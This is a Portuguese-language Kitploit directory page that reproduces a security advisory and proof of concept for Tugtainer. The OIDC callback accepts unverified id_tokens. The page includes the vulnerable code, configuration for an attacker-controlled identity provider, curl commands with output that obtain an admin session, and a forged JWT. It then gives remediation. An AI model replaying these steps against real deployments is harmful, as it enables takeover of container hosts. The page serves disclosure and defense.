Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/squeeze440/tugtainer-poc
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoGerenciamento de Identidade e Acesso (IAM)Autenticação
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — id_token OIDC aceito sem verificação de assinatura/audiência/expiração no Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).

Ver Repositório
há 7 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Resumo

Status da CVE: solicitada, aguardando atribuição. Esta descoberta é publicada como GHSA-crjc-6vc7-xrfh. Após a atribuição da CVE, este repositório é renomeado CVE-YYYY-NNNNN-tugtainer-PoC e este banner é substituído pelo link da CVE.

PesquisadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (Alto)
FraquezaCWE-347

Resumo

A verificação inadequada da assinatura criptográfica no provedor de autenticação OIDC em backend/modules/auth/providers/auth_oidc_provider.py no Quenary/tugtainer (commit 3138226) permite que um atacante posicionado para controlar ou interceptar a resposta de troca de token entre o backend do tugtainer e o provedor OIDC configurado (por exemplo, uma posição de MITM na rede, um provedor de identidade comprometido/malicioso, ou um comprometimento de DNS/terminação TLS nesse caminho) forje um id_token arbitrário e obtenha uma sessão do tugtainer totalmente autenticada, equivalente a administrador, para qualquer identidade, via GET /api/auth/oidc/callback.

Produto

Quenary/tugtainer — ferramenta auto-hospedada de atualização automática de contêineres Docker com interface web, arquitetura agente/backend.

Versão Testada

Commit 31382268bf16df32f33316fe4d601ad1635871d4 (branch padrão do repositório, clonado em 2026-08-05).

CVSS v3.1 Estimado

8.1 (Alto) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (não AC:L): a exploração não é uma simples requisição de rede não autenticada. Ela exige que o atacante controle o que o token endpoint retorna ao backend durante a troca de código servidor-a-servidor — realisticamente uma posição de MITM entre o backend do tugtainer e o IdP real, ou um IdP comprometido/malicioso em que o backend está configurado para confiar. Esta é uma pré-condição genuína e não trivial, portanto usa-se AC:H em vez de AC:L.
  • UI:N: uma vez que o atacante tenha essa posição de rede, nenhuma interação da vítima é necessária — o atacante pode conduzir todo o fluxo de login por conta própria (confirmado no PoC abaixo, feito de ponta a ponta com curl).
  • C:H/I:H/A:H: a sessão resultante é uma sessão completa e irrestrita do tugtainer (não existe RBAC/allowlist para identidades OIDC — veja Detalhes) com acesso a todos os endpoints de gerenciamento de contêiner/host: listar/ler todos os hosts e contêineres Docker, iniciar/parar/matar/remover contêineres, baixar imagens e (se ALLOW_HOOKS/ALLOW_EXEC estiverem habilitados em um host) executar comandos dentro dos contêineres.
  • S:U: o impacto permanece dentro da própria fronteira de autorização do tugtainer (o atacante se torna um usuário autenticado do tugtainer); não é tratado como uma mudança de escopo para um componente autorizado separadamente.

Detalhes

backend/modules/auth/providers/auth_oidc_provider.py, método _exchange_oidc_code (linhas 267–331), especificamente linhas 299–306:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose) decodifica em base64 o payload do JWT sem verificar a assinatura, exp/iat, ou aud/iss — exatamente o oposto do que o OpenID Connect Core 1.0 §3.1.3.7 exige que um RP faça antes de confiar em um ID Token. O próprio comentário do desenvolvedor ("not recommended for production") confirma que este foi um atalho conhecido, não uma escolha de design intencional.

As claims resultantes fluem diretamente para a criação da sessão sem nenhuma verificação adicional:

  • callback() (linha 137) chama _exchange_oidc_code() e depois _create_oidc_user_session() (linha 333), que extrai email/sub/preferred_username (linhas 341–345) diretamente das claims não verificadas e emite cookies JWT reais e assinados de access_token/refresh_token do tugtainer (HttpOnly, SameSite=strict) via _set_cookies().
  • Não existe nenhuma allowlist de identidades OIDC permitidas em nenhum lugar do código-fonte (grep por padrões de allowlist/allowed-email em backend/ não retorna nada) — qualquer sub/email que esteja nas claims (não verificadas) se torna a identidade da nova sessão, com o mesmo acesso de qualquer outro usuário logado (o tugtainer tem um único nível de confiança plano, sem RBAC por usuário).
  • Como aud e iss nunca são verificados, um ID Token emitido para um cliente completamente não relacionado do mesmo IdP — ou, como demonstrado abaixo, um com assinatura inválida/incompatível e um exp já expirado — é aceito tão prontamente quanto um legítimo.

Isso só é alcançável quando OIDC_ENABLED=true (uma opção habilitada pelo administrador), portanto não afeta a implantação padrão/somente senha.

Prova de Conceito

Verificado dinamicamente contra a aplicação real compilada a partir deste commit (docker build -f Dockerfile.app), executada via docker run simples (não a imagem publicada) com:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

Um provedor OIDC falso mínimo (evidence/fake_idp.py, mantido nesta pasta de engajamento) serve um documento de descoberta válido e, em POST /token, sempre retorna um id_token que é deliberadamente inválido em todos os aspectos que um RP deveria verificar:

  • assinatura = bytes de placeholder literais, não uma assinatura HMAC/RSA real
  • aud = "totally-wrong-client-id-not-tugtainers" (não corresponde ao OIDC_CLIENT_ID)
  • exp = 1 hora no passado (já expirado)

Passos (comandos reais, saída real, ambos os contêineres executados localmente):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

Payload decodificado do access_token (conforme emitido pelo próprio assinador JWT do tugtainer para este "usuário"):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

Sessão então confirmada ao vivo contra endpoints protegidos:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

O próprio log do IdP falso confirma o token forjado exato que ele devolveu:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

Auxiliar do PoC: evidence/fake_idp.py (mantido junto a este relatório).

Nenhuma captura de tela é incluída — este é um bypass de API servidor-a-servidor sem componente de navegador/UI para capturar; a transcrição de curl acima é a evidência real e não modificada de comando/resposta.

Impacto

Qualquer atacante capaz de influenciar a resposta da chamada de troca de token OIDC que o backend do tugtainer faz (MITM nesse caminho de rede, um IdP malicioso/comprometido, ou um comprometimento de DNS/terminação TLS entre backend e IdP) pode emitir uma sessão do tugtainer totalmente válida e irrestrita como uma identidade arbitrária — sem precisar conhecer as credenciais de nenhum usuário real e sem interação de um usuário legítimo. Como o tugtainer não tem RBAC por usuário, essa sessão tem acesso total à aplicação: enumerar todos os hosts e contêineres Docker registrados, iniciar/parar/matar/remover contêineres, baixar/marcar imagens e (onde ALLOW_HOOKS/ALLOW_EXEC do agente estiverem habilitados) executar comandos dentro dos contêineres.

Fraquezas

  • CWE-347: Verificação Inadequada de Assinatura Criptográfica
  • CWE-345: Verificação Insuficiente de Autenticidade de Dados (verificações ausentes de aud/iss/exp)
  • CWE-287: Autenticação Inadequada

Remediação

Em _exchange_oidc_code, substitua jwt.get_unverified_claims(token["id_token"]) por uma decodificação com verificação: obtenha o jwks_uri do IdP a partir do documento de descoberta, resolva a chave de assinatura por kid e chame jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose suporta tudo isso). Isso impõe assinatura, exp/iat/nbf, aud e iss conforme a especificação OIDC Core. Considere também adicionar uma allowlist opcional de valores aceitos de email/sub para implantações que compartilham um IdP com outros aplicativos.

Crédito

Dostxodjayev Abdullox (GitHub: squeeze440)

Canal de Relato

GitHub Security Advisory / Private Vulnerability Reporting em Quenary/tugtainer (PVR confirmado como habilitado).

Baixar ferramenta